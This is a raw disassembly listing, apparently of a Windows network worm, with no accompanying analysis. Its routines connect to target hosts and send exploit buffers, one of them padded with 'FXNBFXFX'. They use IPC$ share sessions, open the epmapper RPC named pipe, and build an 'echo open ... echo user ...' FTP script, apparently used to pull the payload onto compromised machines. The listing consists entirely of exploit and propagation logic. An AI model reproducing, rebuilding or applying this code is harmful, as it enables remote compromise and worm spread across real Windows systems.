		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_402817
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h


loc_402817:				; CODE XREF: sub_4024DC+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A430	; closesocket
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
sub_4024DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40283D	proc near		; CODE XREF: sub_402988+440p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	dword_4211D8	; inet_addr
		mov	[ebp+var_10], eax
		mov	ax, word_424F58
		push	eax
		call	dword_4211DC	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_4211E0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40295D
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40295D
		push	esi
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	edi
		call	dword_4211E8	; recv
		mov	esi, offset byte_42C1FC
		mov	ebx, 190h
		push	esi
		push	esi
		push	offset aDd_	; "dd."
		push	offset aDd	; "dd"
		push	offset a78712	; "78712"
		push	offset dword_468994
		push	offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s	>"...
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_415A6A
		add	esp, 24h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	edi
		mov	edi, dword_4211EC
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40295D
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402961


loc_40295D:				; CODE XREF: sub_40283D+54j
					; sub_40283D+6Aj ...
		xor	al, al
		jmp	short loc_402983
; ---------------------------------------------------------------------------


loc_402961:				; CODE XREF: sub_40283D+11Ej
		push	0
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	[ebp+var_4]
		call	dword_4211E8	; recv
		push	[ebp+var_4]
		call	dword_4211F0	; closesocket
		mov	al, 1


loc_402983:				; CODE XREF: sub_40283D+122j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40283D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402988	proc near		; CODE XREF: sub_402DDD+11Bp
					; sub_402DDD+13Dp

var_89B0	= byte ptr -89B0h
var_8948	= byte ptr -8948h
var_68D8	= byte ptr -68D8h
var_6868	= byte ptr -6868h
var_5DA4	= byte ptr -5DA4h
var_4800	= byte ptr -4800h
var_47FF	= byte ptr -47FFh
var_376C	= byte ptr -376Ch
var_2CA8	= byte ptr -2CA8h
var_2CA7	= byte ptr -2CA7h
var_2CA4	= byte ptr -2CA4h
var_2C28	= byte ptr -2C28h
var_2458	= byte ptr -2458h
var_1FAD	= byte ptr -1FADh
var_1CC0	= byte ptr -1CC0h
var_14DC	= byte ptr -14DCh
var_14CC	= byte ptr -14CCh
var_11A8	= byte ptr -11A8h
var_11A4	= byte ptr -11A4h
var_1198	= byte ptr -1198h
var_F10		= byte ptr -0F10h
var_E70		= byte ptr -0E70h
var_764		= dword	ptr -764h
var_754		= byte ptr -754h
var_740		= byte ptr -740h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_B0		= byte ptr -0B0h
var_AD		= byte ptr -0ADh
var_83		= byte ptr -83h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_38		= byte ptr -38h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B0h
		call	sub_415D70
		mov	eax, dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_38]
		push	offset loc_4250C4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_FF]


loc_4029C5:				; CODE XREF: sub_402988+4Dj
		mov	dl, [ebp+ecx+var_38]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4029C5
		push	60h
		lea	eax, [ebp+var_B0]
		push	offset dword_424B68
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4155D0
		add	esp, 1Ch
		lea	eax, [ebp+var_38]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [ebp+eax*2+var_81]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_AD]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_83]
		push	eax
		call	sub_4155D0
		mov	ax, word_424F58
		add	esp, 2Ch
		push	eax
		call	dword_4211DC	; ntohs
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_424868
		call	sub_4155D0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], 0
		jz	loc_402B7F
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC0]
		push	edi
		push	90h
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	ebx, dword_424F98[eax]
		lea	eax, [ebp+var_14DC]
		push	ebx
		push	eax
		call	sub_4155D0
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_14CC]
		push	esi
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A8]
		push	offset loc_4250BC
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A4]
		push	ebx
		push	eax
		call	sub_4155D0
		add	esp, 40h
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_1198]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_47FF]


loc_402B35:				; CODE XREF: sub_402988+1BFj
		mov	dl, [ebp+ecx+var_1CC0]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_402B35
		and	[ebp+var_2CA8],	0
		and	[ebp+var_2CA7],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B0]
		push	esi
		push	31h
		push	eax
		call	sub_415570
		push	esi
		lea	eax, [ebp+var_68D8]
		push	31h
		push	eax
		call	sub_415570
		add	esp, 18h
		jmp	short loc_402BD6
; ---------------------------------------------------------------------------


loc_402B7F:				; CODE XREF: sub_402988+115j
		push	7D0h
		lea	eax, [ebp+var_F10]
		push	90h
		push	eax
		call	sub_415570
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_E70]
		push	esi
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_754]
		push	eax
		call	sub_4155D0
		mov	eax, dword_424F98
		add	esp, 2Ch
		mov	[ebp+var_764], eax


loc_402BD6:				; CODE XREF: sub_402988+1F5j
		push	0E29h
		lea	eax, [ebp+var_2CA4]
		push	31h
		push	eax
		call	sub_415570
		movsx	eax, [ebp+var_1]
		add	esp, 0Ch
		add	eax, 4
		mov	esi, dword_4211EC
		push	0
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402C17


loc_402C10:				; CODE XREF: sub_402988+2C0j
					; sub_402988+2EBj ...
		xor	al, al
		jmp	loc_402DD8
; ---------------------------------------------------------------------------


loc_402C17:				; CODE XREF: sub_402988+286j
		mov	edi, dword_4211E8
		mov	ebx, 640h
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_424BCC
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_424C38
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		cmp	[ebp+arg_C0], 0
		jz	loc_402D43
		push	68h
		lea	eax, [ebp+var_89B0]
		push	offset dword_424DF0
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_4800]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8948]
		push	eax
		call	sub_4155D0
		push	70h
		lea	eax, [ebp+var_68D8]
		push	offset dword_424E5C
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_376C]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6868]
		push	eax
		call	sub_4155D0
		push	84h
		lea	eax, [ebp+var_5DA4]
		push	offset dword_424ED0
		push	eax
		call	sub_4155D0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B0]
		push	0
		push	10FCh
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68D8]
		jmp	short loc_402D9B
; ---------------------------------------------------------------------------


loc_402D43:				; CODE XREF: sub_402988+306j
		push	7Ch
		lea	eax, [ebp+var_2CA4]
		push	offset dword_424CDC
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_F10]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C28]
		push	eax
		call	sub_4155D0
		push	90h
		lea	eax, [ebp+var_2458]
		push	offset off_424D5C
		push	eax
		call	sub_4155D0
		add	esp, 24h
		and	[ebp+var_1FAD],	0
		lea	eax, [ebp+var_2CA4]
		push	0
		push	0CF8h


loc_402D9B:				; CODE XREF: sub_402988+3B9j
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	12Ch
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40283D
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_402DD8:				; CODE XREF: sub_402988+28Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DDD	proc near		; CODE XREF: .nsp0:00403E5Cp

var_858		= byte ptr -858h
var_814		= byte ptr -814h
var_218		= byte ptr -218h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		mov	[ebp+var_8], edi
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_18], 2
		push	eax
		call	dword_4211D8	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_14], eax
		call	dword_4211DC	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_16], ax
		call	dword_4211E0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jz	loc_402EDA
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	esi
		call	dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EDA
		mov	ebx, dword_4211EC
		push	edi
		push	89h
		push	offset dword_424950
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	esi
		mov	esi, dword_4211E8
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_4249DC
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_424A88
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		mov	ebx, [ebp+var_4]
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, [ebp+var_814]
		sub	eax, 30h
		jz	short loc_402EE5
		dec	eax
		jz	short loc_402EE1


loc_402EDA:				; CODE XREF: sub_402DDD+57j
					; sub_402DDD+6Dj ...
		xor	eax, eax
		jmp	loc_402F7F
; ---------------------------------------------------------------------------


loc_402EE1:				; CODE XREF: sub_402DDD+FBj
		push	0
		jmp	short loc_402F09
; ---------------------------------------------------------------------------


loc_402EE5:				; CODE XREF: sub_402DDD+F8j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jnz	short loc_402F29
		push	1


loc_402F09:				; CODE XREF: sub_402DDD+106j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jz	short loc_402F30


loc_402F29:				; CODE XREF: sub_402DDD+128j
		mov	[ebp+var_8], 1


loc_402F30:				; CODE XREF: sub_402DDD+14Aj
		push	ebx
		call	dword_4211F0	; closesocket
		cmp	[ebp+var_8], 0
		jz	short loc_402F7C
		push	0
		lea	eax, [ebp+var_218]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]


loc_402F7C:				; CODE XREF: sub_402DDD+15Ej
		push	1
		pop	eax


loc_402F7F:				; CODE XREF: sub_402DDD+FFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DDD	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		mov	dword ptr [esp+16Ch], 87h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4033CB
		push	2Fh
		lea	esi, [esp+0D0h]
		pop	ecx
		mov	dword ptr [esp+16Ch], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_402FD6
		test	eax, eax
		jz	short loc_402FD9


loc_402FD6:				; CODE XREF: .nsp0:00402FD0j
		push	1
		pop	eax


loc_402FD9:				; CODE XREF: .nsp0:00402FD4j
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FDD	proc near		; CODE XREF: sub_4033CB+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_438FBC
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_438FB8
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43A438
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_4030A1
		cmp	eax, ebx
		jnz	short loc_4030AB


loc_4030A1:				; CODE XREF: sub_402FDD+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43A438


loc_4030AB:				; CODE XREF: sub_402FDD+C2j
		cmp	eax, 5
		jz	short loc_4030B9
		cmp	eax, ebx
		jz	short loc_4030B9
		push	1
		pop	eax
		jmp	short loc_4030BB
; ---------------------------------------------------------------------------


loc_4030B9:				; CODE XREF: sub_402FDD+D1j
					; sub_402FDD+D5j
		xor	eax, eax


loc_4030BB:				; CODE XREF: sub_402FDD+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402FDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030C0	proc near		; CODE XREF: sub_4033CB+7Ap
					; sub_4033CB+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_438FBC
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		add	esp, 10h


loc_403151:				; CODE XREF: sub_4030C0+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43A2D8
		test	eax, eax
		jz	short loc_403171
		push	7D0h
		call	dword_421060	; Sleep
		jmp	short loc_403151
; ---------------------------------------------------------------------------


loc_403171:				; CODE XREF: sub_4030C0+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4030C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403178	proc near		; CODE XREF: sub_4033CB+A9p
					; sub_4033CB+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_415D70
		push	esi
		push	edi
		push	offset byte_42C1FC
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_414E04
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_4033C7
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_4155D0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_4031FD:				; CODE XREF: sub_403178+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40324D
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_4155D0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_4031FD
; ---------------------------------------------------------------------------


loc_40324D:				; CODE XREF: sub_403178+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_403268
		cmp	[ebp+arg_C0], 3
		jz	short loc_403271
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40326F
; ---------------------------------------------------------------------------


loc_403268:				; CODE XREF: sub_403178+DCj
		cmp	[ebp+arg_C0], 3


loc_40326F:				; CODE XREF: sub_403178+EEj
		jnz	short loc_40327A


loc_403271:				; CODE XREF: sub_403178+E5j
		push	4
		push	offset dword_4255F0
		jmp	short loc_403281
; ---------------------------------------------------------------------------


loc_40327A:				; CODE XREF: sub_403178:loc_40326Fj
		push	4
		push	offset dword_4255EC


loc_403281:				; CODE XREF: sub_403178+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_425124
		push	eax
		call	sub_4155D0
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_425488
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_4155D0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_42549C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155D0
		add	edi, 3Ch
		push	30h
		push	offset dword_4254DC
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155D0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_415DC9
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_415570
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_4155D0
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_4033C7:				; CODE XREF: sub_403178+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_403178	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033CB	proc near		; CODE XREF: .nsp0:00402FA3p
					; sub_40778B+1E6p
					; DATA XREF: ...

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_415D70
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_403539
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402FDD
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403649
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_403450


loc_403441:				; CODE XREF: sub_4033CB+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030C0
		pop	ecx
		jmp	loc_403649
; ---------------------------------------------------------------------------


loc_403450:				; CODE XREF: sub_4033CB+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_412B98
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
